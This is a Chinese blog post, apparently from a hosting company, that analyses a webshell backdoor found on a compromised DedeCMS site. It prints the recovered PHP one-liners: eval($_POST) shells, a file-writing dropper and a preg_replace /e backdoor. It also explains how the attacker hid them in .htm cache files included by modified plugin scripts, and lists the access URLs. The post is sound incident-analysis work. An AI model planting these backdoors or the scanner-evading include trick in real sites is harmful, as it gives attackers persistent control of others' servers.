咨询热线:4006-75-4006
售前:9:00-23:30 备案:9:00-18:00 技术:7*24h
dedecms之webshell后门分析
单位某站用的dedecms,今天被某黑阔getshell了,无奈只能打包代码进行分析,用各种webshell扫描器只扫到一个data/tplcache/xxxxx.inc文件,文件代码如下:
{dede:php}file_put_contents(’90sec.php’,'<?php eval($_POST[guige]);?>’);{/dede:php}
但是翻遍所有的Web目录也没有找到90sec.php文件,有朋友指点说可能是其它文件include这个文件。然后又用Seay的代码审计工具定义关键字各种扫,还是没找到。
最后翻到data/cache目录下发现了几个htm文件,myad-1.htm,myad-16.htm,mytag-1208.htm等,打开这些html文件,代码分别如下:
<!– document.write(“dedecmsisok<?php @eval($_POST[cmd]);?>”); –>
<!– document.write(“<?php $fp = @fopen(‘av.php’, ‘a’);@fwrite($fp, ‘<?php eval($_POST[110]) ?>axxxxx’);echo ‘OK’;@fclose($fp);?>”); –>
<!– document.write(“<?php echo ‘dedecms 5.7 0day<br>guige, 90sec.org’;@preg_replace(‘/[copyright]/e’,$_REQUEST[‘guige’],’error’);?>”); –>
看到这几个文件很奇怪,不知道黑阔要干嘛??虽然代码看似很熟?,但是HTML文件能当后门用么?想起之前朋友说的include,然后结合前段时间的getshell漏洞利用细节,最终翻到plus/mytag_js.php文件,在这个文件里终于发现黑阔无节操的地方,主要代码如下:
看到上面的代码我们应该知道黑阔是多么的邪恶,在生成的htm格式的cache文件中写?各种类型的一句话代码,然后再修改plus/ad_js.php和mytag_js.php文件,包含htm格式的cache文件。这样黑阔只需要在菜刀中填入以下URL就可以连接一句话了.
http://www.landui.com/plus/mytag_js.php?id=1208
http://www.landui.com/plus/ad_js.php?id=1
具体的id以及文件名跟data/cache目录下的myad-1.htm,mytag-1208.htm是有关系的。因此各种webshell扫描器都没有扫到webshell后门文件,因为很多默认都不对htm进行扫描.